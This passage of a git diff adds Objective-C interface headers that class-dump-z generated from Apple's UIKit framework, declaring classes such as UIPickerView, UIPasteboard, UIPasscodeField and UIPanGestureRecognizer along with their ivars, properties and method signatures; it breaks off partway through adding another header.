+-(int)decodeInt32ForKey:(id)key; +-(BOOL)decodeArrayOfFloats:(float*)floats count:(int)count forKey:(id)key; +-(BOOL)decodeArrayOfDoubles:(double*)doubles count:(int)count forKey:(id)key; +-(BOOL)decodeArrayOfCGFloats:(float*)cgfloats count:(int)count forKey:(id)key; +-(CGPoint)decodeCGPointForKey:(id)key; +-(CGSize)decodeCGSizeForKey:(id)key; +-(CGRect)decodeCGRectForKey:(id)key; +-(CGAffineTransform)decodeCGAffineTransformForKey:(id)key; +-(UIEdgeInsets)decodeUIEdgeInsetsForKey:(id)key; +-(void)decodeValueOfObjCType:(const char*)objCType at:(void*)at; +-(id)decodeNXObject; +-(id)decodeDataObject; +-(id)decodeObject; +-(id)decodePropertyList; +-(void)decodeValuesOfObjCTypes:(const char*)objCTypes; +-(void)decodeArrayOfObjCType:(const char*)objCType count:(unsigned)count at:(void*)at; +-(void*)decodeBytesWithReturnedLength:(unsigned*)returnedLength; +-(unsigned)systemVersion; +-(int)versionForClassName:(id)className; +-(void)finishDecoding; +@end + diff --git a/igor/headers/dumpedUIKit/UINibStringIDTable.h b/igor/headers/dumpedUIKit/UINibStringIDTable.h new file mode 100644 index 0000000..63b457d --- /dev/null +++ b/igor/headers/dumpedUIKit/UINibStringIDTable.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UINibStringIDTable : NSObject { +@private + UIStringIDTableBucket** table; + UIStringIDTableBucket* buckets; + unsigned hashMask; + unsigned count; +} +-(id)initWithKeysTransferingOwnership:(id*)keysTransferingOwnership count:(unsigned)count; +-(void)dealloc; +-(BOOL)lookupKey:(id)key identifier:(int*)identifier; +-(int)count; +@end + diff --git a/igor/headers/dumpedUIKit/UIOldSliderButton.h b/igor/headers/dumpedUIKit/UIOldSliderButton.h new file mode 100644 index 0000000..395efae --- /dev/null +++ b/igor/headers/dumpedUIKit/UIOldSliderButton.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIPushButton.h" + + +__attribute__((visibility("hidden"))) +@interface UIOldSliderButton : UIPushButton { +} +-(BOOL)shouldTrack; +-(BOOL)ignoresMouseEvents; +-(BOOL)cancelMouseTracking; +-(BOOL)cancelTouchTracking; +@end + diff --git a/igor/headers/dumpedUIKit/UIOldSliderControl.h b/igor/headers/dumpedUIKit/UIOldSliderControl.h new file mode 100644 index 0000000..eaa0056 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIOldSliderControl.h @@ -0,0 +1,108 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIOldSliderControl.h" +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class UIImage; + +@interface UIOldSliderControl : UIControl { + UIImage* _sliderLeftFillCap; + XXUnion_a01swB _sliderLeftFill; + XXUnion_a01swB _sliderRightFill; +@private + UIImage* _minValueImage; + UIImage* _maxValueImage; + int _numberOfTickMarks; + float _hitOffset; +@protected + UIImage* _sliderRightCap; + UIImage* _sliderRightFullCap; + UIImage* _sliderLeftCap; + struct { + unsigned allowsOnlyTickMarks : 1; + unsigned animating : 1; + unsigned showValue : 1; + unsigned layeredFill : 1; + unsigned continuous : 1; + unsigned sendActionDuringAnimation : 1; + unsigned alternateColors : 1; + unsigned shouldFlipValue : 1; + unsigned needsNonOpaqueFills : 1; + unsigned reserved : 24; + } _sliderFlags; + float _value; + float _animationEndValue; + float _minValue; + float _maxValue; + UIView* _knob; + double _lastTrackingTime; + double _idleTrackingTime; + CGPoint _lastTrackingPoint; + CGPoint _idleTrackingPoint; +} +-(id)init; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithFrame:(CGRect)frame layeredFill:(BOOL)fill; +-(id)createSliderKnobView; +-(void)_resetFillFrames; +-(CGRect)fillBounds; +-(void)sliderBoundsChanged; +-(void)refreshImages; +-(void)dealloc; +-(id)imageForSliderPiece:(int)sliderPiece; +-(void)drawSliderPiece:(int)piece inRect:(CGRect)rect; +-(void)_sliderBounds:(CGRect)bounds getLeftCapRect:(CGRect*)rect rightCapRect:(CGRect*)rect3 left:(CGRect*)left right:(CGRect*)right; +-(void)drawSliderInRect:(CGRect)rect dirtyRect:(CGRect)rect2; +-(void)drawSliderInRect:(CGRect)rect; +-(void)animator:(id)animator stopAnimation:(id)animation; +-(void)_sendDelayedActions; +-(void)setValue:(float)value; +-(void)_setValue:(float)value andSendAction:(BOOL)action; +-(BOOL)isAnimatingValueChange; +-(void)setValue:(float)value animated:(BOOL)animated animationCurve:(int)curve; +-(void)setValue:(float)value animated:(BOOL)animated; +-(float)value; +-(CGRect)sliderBounds; +-(CGRect)minValueImageBounds; +-(CGRect)maxValueImageBounds; +-(CGRect)valueTextBounds; +-(void)setMinValue:(float)value; +-(void)setMaxValue:(float)value; +-(void)drawRect:(CGRect)rect; +-(void)setNumberOfTickMarks:(int)tickMarks; +-(void)setAllowsTickMarkValuesOnly:(BOOL)only; +-(void)setShowValue:(BOOL)value; +-(void)setMinValueImage:(id)image; +-(void)setMaxValueImage:(id)image; +-(void)setEnabled:(BOOL)enabled; +-(float)_validatedValue:(float)value; +-(float)_validatedValueForPoint:(CGPoint)point includeTickMarks:(BOOL)marks; +-(void)setHighlighted:(BOOL)highlighted; +-(BOOL)beginTrackingAt:(CGPoint)at withEvent:(GSEventRef)event; +-(BOOL)continueTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(void)endTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(BOOL)cancelMouseTracking; +-(void)_controlMouseDown:(GSEventRef)down; +-(void)_controlMouseUp:(GSEventRef)up; +-(void)_controlMouseDragged:(GSEventRef)dragged; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)_controlTouchBegan:(id)began withEvent:(id)event; +-(void)_controlTouchMoved:(id)moved withEvent:(id)event; +-(void)_controlTouchEnded:(id)ended withEvent:(id)event; +-(BOOL)cancelTouchTracking; +-(void)setContinuous:(BOOL)continuous; +-(void)setSendActionDuringAnimation:(BOOL)animation; +@end + +@interface UIOldSliderControl (SyntheticEvents) +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UIOldSliderFillView.h b/igor/headers/dumpedUIKit/UIOldSliderFillView.h new file mode 100644 index 0000000..bb0f960 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIOldSliderFillView.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UIOldSliderFillView : UIView { +@private + UIImage* _sliderImage; +} +-(id)initWithFrame:(CGRect)frame image:(id)image; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIOnePartImageView.h b/igor/headers/dumpedUIKit/UIOnePartImageView.h new file mode 100644 index 0000000..26e9feb --- /dev/null +++ b/igor/headers/dumpedUIKit/UIOnePartImageView.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UIOnePartImageView : UIView { +@private + CGRect _fromRect; + UIImage* _image; +} +-(void)dealloc; +-(void)setImage:(id)image; +-(void)setFromRect:(CGRect)rect; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIOuterShadowView.h b/igor/headers/dumpedUIKit/UIOuterShadowView.h new file mode 100644 index 0000000..687332c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIOuterShadowView.h @@ -0,0 +1,21 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIOuterShadowView : UIView { +@private + int _arrowStyle; +} +-(id)initWithFrame:(CGRect)frame arrowStyle:(int)style; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIPageControl.h b/igor/headers/dumpedUIKit/UIPageControl.h new file mode 100644 index 0000000..69ee156 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPageControl.h @@ -0,0 +1,54 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" +#import "UIPageControl.h" + +@class NSMutableArray; + +@interface UIPageControl : UIControl { +@private + NSMutableArray* _indicators; + int _currentPage; + int _displayedPage; + struct { + unsigned hideForSinglePage : 1; + unsigned defersCurrentPageDisplay : 1; + } _pageControlFlags; +} +@property(assign, nonatomic) int numberOfPages; +@property(assign, nonatomic) int currentPage; +@property(assign, nonatomic) BOOL hidesForSinglePage; +@property(assign, nonatomic) BOOL defersCurrentPageDisplay; +-(void)_commonPageControlInit; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(id)_pageIndicatorImageForPage:(int)page; +-(id)_pageIndicatorCurrentImageForPage:(int)page; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)layoutSubviews; +-(void)endTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)updateCurrentPageDisplay; +-(CGSize)sizeForNumberOfPages:(int)pages; +@end + +@interface UIPageControl (Internal) +-(void)_setDisplayedPage:(int)page; +-(int)_displayedPage; +-(void)_setCurrentPage:(int)page; +-(void)_updateCurrentPageDisplay; +@end + +@interface UIPageControl (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UIPanGestureRecognizer.h b/igor/headers/dumpedUIKit/UIPanGestureRecognizer.h new file mode 100644 index 0000000..961dfb0 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPanGestureRecognizer.h @@ -0,0 +1,51 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIGestureRecognizer.h" + +@class NSMutableSet; + +@interface UIPanGestureRecognizer : UIGestureRecognizer { + CGPoint _firstScreenLocation; + CGPoint _lastScreenLocation; + double _firstTouchTime; + double _lastTouchTime; + CGPoint _velocity; + CGPoint _previousVelocity; + CGAffineTransform _transform; + NSMutableSet* _touches; + int _lastTouchCount; + unsigned _directionalLockEnabled : 1; + unsigned _lockVertical : 1; + unsigned _lockHorizontal : 1; + unsigned _scrollViewGesture : 1; + unsigned _hasChildScrollView : 1; + unsigned _hasParentScrollView : 1; +} +@property(readonly, assign, nonatomic) CGAffineTransform transform; +@property(assign, nonatomic, getter=isDirectionalLockEnabled) BOOL directionalLockEnabled; +@property(readonly, assign, nonatomic) CGPoint velocity; +@property(readonly, assign, nonatomic) CGSize offset; +-(id)initWithTarget:(id)target action:(SEL)action; +-(void)dealloc; +-(void)reset; +-(void)setScrollViewGesture:(BOOL)gesture; +-(BOOL)isScrollViewGesture; +-(BOOL)_lockVertical; +-(BOOL)_lockHorizontal; +-(void)updateLocationForEvent:(id)event; +-(BOOL)_hasChildScrollViewForTouches:(id)touches; +-(id)_parentScrollView; +-(int)_maximumTouches; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(BOOL)_shouldSaveGestureFromExclusion:(id)exclusion; +@end + diff --git a/igor/headers/dumpedUIKit/UIPasscodeField.h b/igor/headers/dumpedUIKit/UIPasscodeField.h new file mode 100644 index 0000000..d3829ff --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPasscodeField.h @@ -0,0 +1,51 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UITextFieldDelegate.h" + +@class NSMutableString, UIPushButton, NSMutableArray; + +@interface UIPasscodeField : UIView { + NSMutableString* _value; + NSMutableArray* _entryFields; + NSMutableArray* _entryBackgrounds; + UIPushButton* _okButton; + BOOL _opaqueBackground; + BOOL _centerHorizontally; + int _keyboardType; + int _keyboardAppearance; + id _delegate; +} ++(float)defaultHeight; +-(id)initWithFrame:(CGRect)frame; +-(void)setKeyboardType:(int)type; +-(void)setKeyboardType:(int)type appearance:(int)appearance; +-(void)dealloc; +-(void)_updateFields; +-(BOOL)showsOKButton; +-(void)setShowsOKButton:(BOOL)button; +-(void)setTextCentersHorizontally:(BOOL)horizontally; +-(id)stringValue; +-(void)setStringValue:(id)value; +-(void)appendString:(id)string; +-(void)deleteLastCharacter; +-(int)numberOfEntryFields; +-(void)setNumberOfEntryFields:(int)entryFields opaqueBackground:(BOOL)background; +-(void)setNumberOfEntryFields:(int)entryFields; +-(BOOL)canBecomeFirstResponder; +-(BOOL)becomeFirstResponder; +-(void)setDelegate:(id)delegate; +-(void)_textDidChange; +-(BOOL)textField:(id)field shouldInsertText:(id)text replacingRange:(NSRange)range; +-(BOOL)textFieldShouldStartEditing:(id)textField; +-(void)textFieldDidResignFirstResponder:(id)textField; +-(void)okButtonClicked:(id)clicked; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIPasteboard.h b/igor/headers/dumpedUIKit/UIPasteboard.h new file mode 100644 index 0000000..cec50dc --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPasteboard.h @@ -0,0 +1,58 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIPasteboard.h" + +@class UIColor, NSArray, NSString, UIImage, NSURL; + +@interface UIPasteboard : NSObject { +@private + NSString* _name; +} +@property(copy, nonatomic) NSArray* items; +@property(readonly, assign, nonatomic) int numberOfItems; +@property(readonly, assign, nonatomic) int changeCount; +@property(assign, nonatomic, getter=isPersistent) BOOL persistent; +@property(readonly, assign, nonatomic) NSString* name; ++(id)generalPasteboard; ++(id)pasteboardWithName:(id)name create:(BOOL)create; ++(id)pasteboardWithUniqueName; ++(void)removePasteboardWithName:(id)name; +-(id)init; +-(void)dealloc; +-(id)pasteboardTypes; +-(BOOL)containsPasteboardTypes:(id)types; +-(id)dataForPasteboardType:(id)pasteboardType; +-(id)valueForPasteboardType:(id)pasteboardType; +-(void)setValue:(id)value forPasteboardType:(id)pasteboardType; +-(void)setData:(id)data forPasteboardType:(id)pasteboardType; +-(id)pasteboardTypesForItemSet:(id)itemSet; +-(BOOL)containsPasteboardTypes:(id)types inItemSet:(id)itemSet; +-(id)itemSetWithPasteboardTypes:(id)pasteboardTypes; +-(id)valuesForPasteboardType:(id)pasteboardType inItemSet:(id)itemSet; +-(id)dataForPasteboardType:(id)pasteboardType inItemSet:(id)itemSet; +-(void)addItems:(id)items; +@end + +@interface UIPasteboard (Static) ++(id)_findPasteboard; +-(id)_initWithName:(id)name system:(BOOL)system create:(BOOL)create; +-(void)_pasteboardChanged:(id)changed; +@end + +@interface UIPasteboard (UIPasteboardDataExtensions) +@property(copy, nonatomic) NSArray* colors; +@property(copy, nonatomic) UIColor* color; +@property(copy, nonatomic) NSArray* images; +@property(copy, nonatomic) UIImage* image; +@property(copy, nonatomic) NSArray* URLs; +@property(copy, nonatomic) NSURL* URL; +@property(copy, nonatomic) NSArray* strings; +@property(copy, nonatomic) NSString* string; +@end + diff --git a/igor/headers/dumpedUIKit/UIPeripheralTransition.h b/igor/headers/dumpedUIKit/UIPeripheralTransition.h new file mode 100644 index 0000000..c363484 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPeripheralTransition.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class DOMNode, UIView; +@protocol UIFormPeripheral; + +__attribute__((visibility("hidden"))) +@interface UIPeripheralTransition : NSObject { +@private + DOMNode* _nextNode; + UIView* _nextPeripheral; +} +@property(retain, nonatomic) DOMNode* _nextNode; +@property(retain, nonatomic) UIView* _nextPeripheral; +-(id)initWithNode:(id)node withPeripheral:(id)peripheral; +-(void)dealloc; +-(id)completeWithCurrentPeripheral:(id)currentPeripheral; +-(CGRect)frame; +@end + diff --git a/igor/headers/dumpedUIKit/UIPhraseBoundaryGestureRecognizer.h b/igor/headers/dumpedUIKit/UIPhraseBoundaryGestureRecognizer.h new file mode 100644 index 0000000..c3870b2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPhraseBoundaryGestureRecognizer.h @@ -0,0 +1,33 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UILongPressGestureRecognizer.h" + +@class UIDelayedAction, UIView; +@protocol UITextSelectingContainer; + +__attribute__((visibility("hidden"))) +@interface UIPhraseBoundaryGestureRecognizer : UILongPressGestureRecognizer { +@private + UIView* _containerView; + UIDelayedAction* _secondDelayTimer; + double _secondDelay; + BOOL _secondDelayElapsed; + id _userData; +} +@property(assign, nonatomic) UIView* containerView; +@property(assign, nonatomic) double secondDelay; +@property(readonly, assign, nonatomic) BOOL secondDelayElapsed; +@property(assign, nonatomic) id userData; +-(void)reset; +-(void)setState:(int)state; +-(void)secondDelayElapsed:(id)elapsed; +-(void)startTimer; +-(void)clearTimer; +@end + diff --git a/igor/headers/dumpedUIKit/UIPickerScrollAnimation.h b/igor/headers/dumpedUIKit/UIPickerScrollAnimation.h new file mode 100644 index 0000000..13dfe88 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPickerScrollAnimation.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIAnimation.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UIPickerScrollAnimation : UIAnimation { +@private + float _initialDuration; + CGPoint _originalOffset; + CGPoint _targetOffset; +} +-(CGPoint)targetOffset; +-(void)setTargetOffset:(CGPoint)offset; +-(void)setOriginalOffset:(CGPoint)offset; +-(void)setProgress:(float)progress; +-(float)initialDuration; +-(void)setInitialDuration:(float)duration; +@end + diff --git a/igor/headers/dumpedUIKit/UIPickerTable.h b/igor/headers/dumpedUIKit/UIPickerTable.h new file mode 100644 index 0000000..2db7331 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPickerTable.h @@ -0,0 +1,55 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITable.h" + +@class UIPickerScrollAnimation; + +__attribute__((visibility("hidden"))) +@interface UIPickerTable : UITable { +@private + CGRect _selectionBarRect; + UIPickerScrollAnimation* _scrollAnimation; + int _selectionBarRow; + CGPoint _lastOffset; + int _lastClickRow; + unsigned _allowSelectingCells : 1; + unsigned _allowsMultipleSelection : 1; + unsigned _lastShouldStick : 1; + unsigned _disableDidSelect : 1; +} +-(id)initWithFrame:(CGRect)frame; +-(BOOL)canHandleSwipes; +-(BOOL)didSelectDisabled; +-(int)lastClickRow; +-(void)setLastClickRow:(int)row; +-(void)setAllowsMultipleSelection:(BOOL)selection; +-(BOOL)allowsMultipleSelection; +-(void)setAllowsSelectingRows:(BOOL)rows; +-(void)_scrollSelectionBarRect:(CGRect)rect animated:(BOOL)animated notify:(BOOL)notify; +-(void)selectCell:(id)cell inRow:(int)row column:(int)column withFade:(BOOL)fade; +-(void)contentMouseUpInView:(id)view withEvent:(GSEventRef)event; +-(int)selectionBarRow; +-(id)selectedTableCell; +-(void)selectRow:(int)row animated:(BOOL)animated notify:(BOOL)notify; +-(void)setSelectionBarRect:(CGRect)rect; +-(CGRect)selectionBarRect; +-(void)animationSetOffset:(CGPoint)offset; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseUp:(GSEventRef)up; +-(void)_pickerScrollAnimationEnded; +-(void)_didMoveFromWindow:(id)window toWindow:(id)window2; +-(CGPoint)newOffsetWithCenteredRectFromOffset:(CGPoint)offset; +-(BOOL)scrollCenterCellToSelectionBar; +-(BOOL)fixupCenterCellToSelectionBar:(BOOL)selectionBar; +-(void)setRowHeight:(float)height; +-(void)removeFromSuperview; +-(void)updateSelectionBarRow; +-(id)_resuableObjectForTableCell:(id)tableCell; +@end + diff --git a/igor/headers/dumpedUIKit/UIPickerTableCell.h b/igor/headers/dumpedUIKit/UIPickerTableCell.h new file mode 100644 index 0000000..c002a53 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPickerTableCell.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIImageAndTextTableCell.h" + + +@interface UIPickerTableCell : UIImageAndTextTableCell { +@private + unsigned _checked : 1; + unsigned _reserved : 31; +} +-(id)initWithFrame:(CGRect)frame; +-(void)updateHighlightColors; +-(void)setChecked:(BOOL)checked; +-(void)layoutSubviews; +-(BOOL)isChecked; +@end + diff --git a/igor/headers/dumpedUIKit/UIPickerView.h b/igor/headers/dumpedUIKit/UIPickerView.h new file mode 100644 index 0000000..9afb00d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPickerView.h @@ -0,0 +1,117 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIPickerView.h" + +@class NSMutableArray; +@protocol UIPickerViewDataSource, UIPickerViewDelegate; + +@interface UIPickerView : UIView { +@private + NSMutableArray* _tables; + UIView* _topFrame; + NSMutableArray* _dividers; + id _dataSource; + id _delegate; + UIView* _backgroundView; + int _numberOfComponents; + struct { + unsigned needsLayout : 1; + unsigned delegateRespondsToNumberOfComponentsInPickerView : 1; + unsigned delegateRespondsToNumberOfRowsInComponent : 1; + unsigned delegateRespondsToDidSelectRow : 1; + unsigned delegateRespondsToViewForRow : 1; + unsigned delegateRespondsToTitleForRow : 1; + unsigned delegateRespondsToWidthForComponent : 1; + unsigned delegateRespondsToRowHeightForComponent : 1; + unsigned showsSelectionBar : 1; + unsigned allowsMultipleSelection : 1; + unsigned allowSelectingCells : 1; + unsigned soundsDisabled : 1; + } _pickerViewFlags; +} +@property(assign, nonatomic) id dataSource; +@property(assign, nonatomic) id delegate; +@property(readonly, assign, nonatomic) int numberOfComponents; +@property(assign, nonatomic) BOOL showsSelectionIndicator; ++(CGSize)defaultSizeForCurrentOrientation; +-(CGSize)defaultSize; +-(BOOL)_isLandscapeOrientation; +-(float)_tableRowHeight; +-(id)_orientationImageSuffix; +-(void)setSoundsEnabled:(BOOL)enabled; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)setNeedsLayout; +-(void)_updateSound; +-(void)setHidden:(BOOL)hidden; +-(void)setAlpha:(float)alpha; +-(void)didMoveToWindow; +-(void)reload; +-(void)reloadData; +-(void)reloadAllComponents; +-(void)reloadDataForColumn:(int)column; +-(void)reloadComponent:(int)component; +-(id)pickerImageNamePrefix; +-(id)_selectionBarSuffix; +-(id)imageForPickerPiece:(int)pickerPiece; +-(CGRect)_selectionBarRectForHeight:(float)height; +-(id)_createViewForPickerPiece:(int)pickerPiece; +-(id)createDividerWithFrame:(CGRect)frame; +-(CGSize)sizeThatFits:(CGSize)fits; +-(double)scrollAnimationDuration; +-(int)_delegateNumberOfComponents; +-(int)_delegateNumberOfRowsInComponent:(int)component; +-(id)_delegateTitleForRow:(int)row forComponent:(int)component; +-(float)_delegateWidthForComponent:(int)component ofCount:(int)count withSizeLeft:(float)sizeLeft; +-(float)_delegateRowHeightForComponent:(int)component; +-(id)_createTableWithFrame:(CGRect)frame forComponent:(int)component; +-(CGSize)rowSizeForComponent:(int)component; +-(int)numberOfRowsInComponent:(int)component; +-(int)numberOfRowsInColumn:(int)column; +-(int)numberOfColumns; +-(id)viewForRow:(int)row forComponent:(int)component; +-(void)reloadAllPickerPieces; +-(void)layoutSubviews; +-(void)setFrame:(CGRect)frame; +-(int)numberOfRowsInTable:(id)table; +-(BOOL)table:(id)table canReuseCell:(id)cell; +-(id)table:(id)table cellForRow:(int)row column:(id)column reusing:(id)reusing; +-(id)table:(id)table cellForRow:(int)row column:(id)column; +-(void)scrollerDidScroll:(id)scroller; +-(BOOL)scroller:(id)scroller shouldAdjustSmoothScrollEndForVelocity:(CGSize)velocity; +-(CGPoint)scroller:(id)scroller adjustSmoothScrollEnd:(CGPoint)end velocity:(CGSize)velocity; +-(void)_sendSelectionChangedForComponent:(int)component; +-(void)setAllowsMultipleSelection:(BOOL)selection; +-(BOOL)allowsMultipleSelection; +-(void)_sendCheckedRow:(int)row inTable:(id)table checked:(BOOL)checked; +-(void)_sendSelectionChangedFromTable:(id)table; +-(void)scrollerDidEndDragging:(id)scroller willSmoothScroll:(BOOL)scroll; +-(void)scrollerDidEndSmoothScrolling:(id)scroller; +-(void)scrollerDidEndAnimatedScrolling:(id)scroller; +-(id)cellForRow:(int)row column:(int)column; +-(NSRange)visibleRowsForColumn:(int)column; +-(int)selectedRowInComponent:(int)component; +-(int)selectedRowForColumn:(int)column; +-(int)columnForTable:(id)table; +-(id)tableForColumn:(int)column; +-(id)selectedTableCellForColumn:(int)column; +-(void)_selectRow:(int)row inComponent:(int)component animated:(BOOL)animated notify:(BOOL)notify; +-(void)selectRow:(int)row inComponent:(int)component animated:(BOOL)animated; +-(void)selectRow:(int)row inColumn:(int)column animated:(BOOL)animated; +@end + +@interface UIPickerView (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isAccessibilityElementByDefault; +@end + diff --git a/igor/headers/dumpedUIKit/UIPickerViewDataSource.h b/igor/headers/dumpedUIKit/UIPickerViewDataSource.h new file mode 100644 index 0000000..bfb964c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPickerViewDataSource.h @@ -0,0 +1,15 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol UIPickerViewDataSource +-(int)numberOfComponentsInPickerView:(id)pickerView; +-(int)pickerView:(id)view numberOfRowsInComponent:(int)component; +@end + diff --git a/igor/headers/dumpedUIKit/UIPickerViewDelegate.h b/igor/headers/dumpedUIKit/UIPickerViewDelegate.h new file mode 100644 index 0000000..b34ecba --- /dev/null +++ b/igor/headers/dumpedUIKit/UIPickerViewDelegate.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol UIPickerViewDelegate +@optional +-(float)pickerView:(id)view widthForComponent:(int)component; +-(float)pickerView:(id)view rowHeightForComponent:(int)component; +-(id)pickerView:(id)view titleForRow:(int)row forComponent:(int)component; +-(id)pickerView:(id)view viewForRow:(int)row forComponent:(int)component reusingView:(id)view4; +-(void)pickerView:(id)view didSelectRow:(int)row inComponent:(int)component; +@end + diff --git a/igor/headers/dumpedUIKit/UIPinchGestureRecognizer.h b/igor/headers/dumpedUIKit/UIPinchGestureRecognizer.h new file 